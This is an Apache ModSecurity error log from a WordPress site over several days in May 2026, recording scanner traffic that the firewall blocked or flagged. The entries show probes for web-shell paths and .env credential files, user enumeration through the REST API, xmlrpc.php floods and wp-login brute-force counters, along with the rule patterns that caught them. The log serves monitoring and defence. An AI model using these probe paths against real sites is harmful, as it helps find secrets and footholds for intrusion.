[Sat May 23 22:17:37.897098 2026] [:error] [pid 31039:tid 31050] [client 20.63.33.98:24806] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reze.php"] [unique_id "ahG3AaIYDYo8WvA5zLJR5wAAAMk"]
[Sat May 23 22:17:39.134816 2026] [:error] [pid 44326:tid 44376] [client 20.63.33.98:1823] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reze.php"] [unique_id "ahG3A8yrPrcAqE-FOKK35wAAAdU"]
[Sat May 23 22:17:40.499087 2026] [:error] [pid 44326:tid 44356] [client 20.63.33.98:35134] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "ahG3BMyrPrcAqE-FOKK37AAAAcE"]
[Sat May 23 22:17:41.348141 2026] [:error] [pid 25876:tid 25899] [client 20.63.33.98:22599] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "ahG3BQSpWUCKPezIBJC7twAAARU"]
[Sat May 23 22:17:42.332682 2026] [:error] [pid 25876:tid 25886] [client 20.63.33.98:1758] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "ahG3BgSpWUCKPezIBJC7ugAAAQg"]
[Sat May 23 22:17:43.105664 2026] [:error] [pid 30940:tid 30971] [client 20.63.33.98:32203] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "ahG3B5qUP2XZmzp7RDoXJAAAABY"]
[Sat May 23 22:17:44.279317 2026] [:error] [pid 25876:tid 25897] [client 20.63.33.98:22653] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/favicon.php"] [unique_id "ahG3CASpWUCKPezIBJC7vAAAARM"]
[Sat May 23 22:17:45.681299 2026] [:error] [pid 44325:tid 44339] [client 20.63.33.98:32193] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/favicon.php"] [unique_id "ahG3CVgUQb4puB_2yV85MAAAAYs"]
[Sat May 23 22:17:46.730130 2026] [:error] [pid 25876:tid 25881] [client 20.63.33.98:16643] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/favicon.php"] [unique_id "ahG3CgSpWUCKPezIBJC7vgAAAQM"]
[Sat May 23 22:17:47.704225 2026] [:error] [pid 44296:tid 44305] [client 20.63.33.98:9280] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/favicon.php"] [unique_id "ahG3C5drUdFI6ijvMkmdgQAAAUc"]
[Sat May 23 22:40:20.218746 2026] [:error] [pid 25876:tid 25883] [client 124.156.225.181:43614] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahG8VASpWUCKPezIBJDAEwAAAQU"]
[Sun May 24 00:59:29.579482 2026] [:error] [pid 25876:tid 25894] [client 159.26.120.35:11660] [client 159.26.120.35] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahHc8QSpWUCKPezIBJDWZwAAARA"]
[Sun May 24 00:59:30.778014 2026] [:error] [pid 25876:tid 25885] [client 159.26.120.35:11660] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc8gSpWUCKPezIBJDWaQAAAQc"]
[Sun May 24 00:59:32.012350 2026] [:error] [pid 31039:tid 31053] [client 159.26.120.35:7977] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc9KIYDYo8WvA5zLJppQAAAMw"]
[Sun May 24 00:59:33.241078 2026] [:error] [pid 30940:tid 30963] [client 159.26.120.35:32503] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc9ZqUP2XZmzp7RDoq0AAAAA4"]
[Sun May 24 00:59:34.553185 2026] [:error] [pid 30940:tid 30967] [client 159.26.120.35:40270] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc9pqUP2XZmzp7RDoq0QAAABI"]
[Sun May 24 00:59:35.776295 2026] [:error] [pid 25876:tid 25900] [client 159.26.120.35:30860] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc9wSpWUCKPezIBJDWagAAARY"]
[Sun May 24 00:59:36.992107 2026] [:error] [pid 30941:tid 30990] [client 159.26.120.35:48431] [client 159.26.120.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.26.120.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc-HTIgjSDhiZmvlVMRwAAAE4"]
[Sun May 24 00:59:36.992283 2026] [:error] [pid 30941:tid 30990] [client 159.26.120.35:48431] [client 159.26.120.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 159.26.120.35, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahHc-HTIgjSDhiZmvlVMRwAAAE4"]
[Sun May 24 03:47:06.626917 2026] [:error] [pid 20298:tid 20316] [client 43.158.91.71:42146] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahIEOps6CMb_8VWA-sqCRAAAAAY"]
[Sun May 24 04:07:37.020762 2026] [:error] [pid 50873:tid 50952] [client 45.133.176.3:41783] [client 45.133.176.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahIJCelYxsqwDcWZbhK9OwAAAIw"]
[Sun May 24 04:07:40.563500 2026] [:error] [pid 58797:tid 58811] [client 45.133.176.14:32895] [client 45.133.176.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahIJDPzoIKLVypLB5NgGGgAAAUs"]
[Sun May 24 04:07:50.191906 2026] [:error] [pid 58521:tid 58526] [client 45.133.176.50:20427] [client 45.133.176.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahIJFmu03QVCX-cF2G-6CgAAAQM"]
[Sun May 24 04:07:55.520414 2026] [:error] [pid 50873:tid 50945] [client 45.133.176.29:44633] [client 45.133.176.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahIJG-lYxsqwDcWZbhK9cAAAAIU"]
[Sun May 24 04:27:00.390727 2026] [:error] [pid 50873:tid 50953] [client 129.226.214.57:39324] [client 129.226.214.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahINlOlYxsqwDcWZbhLAYAAAAI0"]
[Sun May 24 08:05:29.887495 2026] [:error] [pid 50871:tid 50885] [client 43.138.68.113:45376] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahJAyecdOvA3ACH24leosgAAAAU"]
[Sun May 24 10:02:20.263601 2026] [:error] [pid 49775:tid 49799] [client 43.135.145.73:44250] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahJcLIvZb8G6T8WpI1gkVQAAABY"]
[Sun May 24 10:02:47.627896 2026] [:error] [pid 49775:tid 49798] [client 208.84.100.11:62456] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "ahJcR4vZb8G6T8WpI1gkiAAAABU"]
[Sun May 24 10:02:47.815479 2026] [:error] [pid 49775:tid 49801] [client 208.84.100.11:62438] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ahJcR4vZb8G6T8WpI1gkigAAABg"]
[Sun May 24 10:02:47.834531 2026] [:error] [pid 49775:tid 49796] [client 208.84.100.11:62462] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "ahJcR4vZb8G6T8WpI1gkiwAAABM"]
[Sun May 24 10:02:47.851654 2026] [:error] [pid 49688:tid 49704] [client 208.84.100.11:62466] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "ahJcR2YoQ9V6a_4pBshkBQAAAE0"]
[Sun May 24 10:02:47.851823 2026] [:error] [pid 49689:tid 49721] [client 208.84.100.11:62440] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "ahJcRwaxiY3NxLUD97Ud_QAAAIM"]
[Sun May 24 10:02:47.855325 2026] [:error] [pid 49775:tid 49777] [client 208.84.100.11:62426] [client 208.84.100.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ahJcR4vZb8G6T8WpI1gkjwAAAAA"]
[Sun May 24 10:35:57.864647 2026] [:error] [pid 49775:tid 49795] [client 43.135.182.95:53928] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahJkDYvZb8G6T8WpI1gxKAAAABI"]
[Sun May 24 13:22:52.622553 2026] [autoindex:error] [pid 23497:tid 23519] [client 95.111.235.131:63862] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 24 15:15:32.095224 2026] [:error] [pid 49775:tid 49783] [client 43.166.255.102:56548] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahKllIvZb8G6T8WpI1h_MQAAAAY"]
[Sun May 24 15:49:40.025824 2026] [:error] [pid 41708:tid 41728] [client 43.157.180.116:41978] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahKtlP4tQzoTxpuHBF6lCAAAAZI"]
[Sun May 24 18:03:46.790826 2026] [:error] [pid 23497:tid 23518] [client 107.189.29.201:52959] [client 107.189.29.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahLNAiPlV47QcYwd2v_uYAAAAVI"]
[Sun May 24 18:46:06.517945 2026] [:error] [pid 23497:tid 23508] [client 194.27.213.104:56337] [client 194.27.213.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.27.213.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahLW7iPlV47QcYwd2v_8PwAAAUg"]
[Sun May 24 18:46:16.353882 2026] [:error] [pid 41708:tid 41728] [client 194.27.213.104:5001] [client 194.27.213.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.27.213.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahLW-P4tQzoTxpuHBF7N8gAAAZI"]
[Sun May 24 18:46:26.994886 2026] [:error] [pid 4777:tid 4797] [client 194.27.213.104:52286] [client 194.27.213.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.27.213.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahLXAvtPctoQOm4w5pN5qQAAAc8"]
[Sun May 24 18:46:37.562742 2026] [:error] [pid 2639:tid 2647] [client 194.27.213.104:28343] [client 194.27.213.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.27.213.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahLXDUzQncQTd0Z0Oe9wXgAAAQY"]
[Sun May 24 18:46:48.127679 2026] [:error] [pid 2639:tid 2653] [client 194.27.213.104:23319] [client 194.27.213.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.27.213.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahLXGEzQncQTd0Z0Oe9wdgAAAQw"]
[Sun May 24 20:50:37.586900 2026] [:error] [pid 15835:tid 15839] [client 43.133.253.253:34366] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahL0HWWbknYlUM9P0qO9yAAAAAI"]
[Mon May 25 01:03:37.622204 2026] [:error] [pid 15835:tid 15838] [client 43.135.185.59:36952] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahMvaWWbknYlUM9P0qMylQAAAAE"]
[Mon May 25 01:34:35.676853 2026] [:error] [pid 11282:tid 11341] [client 43.164.131.148:49754] [client 43.164.131.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahM2q-0bPyN3C7HZ1R_apwAAAME"]
[Mon May 25 02:51:20.927019 2026] [:error] [pid 15835:tid 15848] [client 20.195.182.236:12738] [client 20.195.182.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ahNIqGWbknYlUM9P0qNhBQAAAAs"]
[Mon May 25 02:51:21.680933 2026] [:error] [pid 11282:tid 11357] [client 20.195.182.236:45700] [client 20.195.182.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ahNIqe0bPyN3C7HZ1R_vPgAAANE"]
[Mon May 25 02:51:22.330008 2026] [:error] [pid 11282:tid 11364] [client 20.195.182.236:10666] [client 20.195.182.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ahNIqu0bPyN3C7HZ1R_vPwAAANg"]
[Mon May 25 02:51:23.018343 2026] [:error] [pid 11281:tid 11331] [client 20.195.182.236:13995] [client 20.195.182.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ahNIq5KmC9taWvA91j7EHQAAAJI"]
[Mon May 25 05:31:00.948821 2026] [:error] [pid 9304:tid 9367] [client 45.61.187.62:57798] [client 45.61.187.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.62, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahNuFOVEV2qpMC_1UzRu3QAAAIY"]
[Mon May 25 05:31:06.190934 2026] [:error] [pid 9304:tid 9373] [client 45.61.187.62:57798] [client 45.61.187.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.62, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahNuGuVEV2qpMC_1UzRu4gAAAIw"]
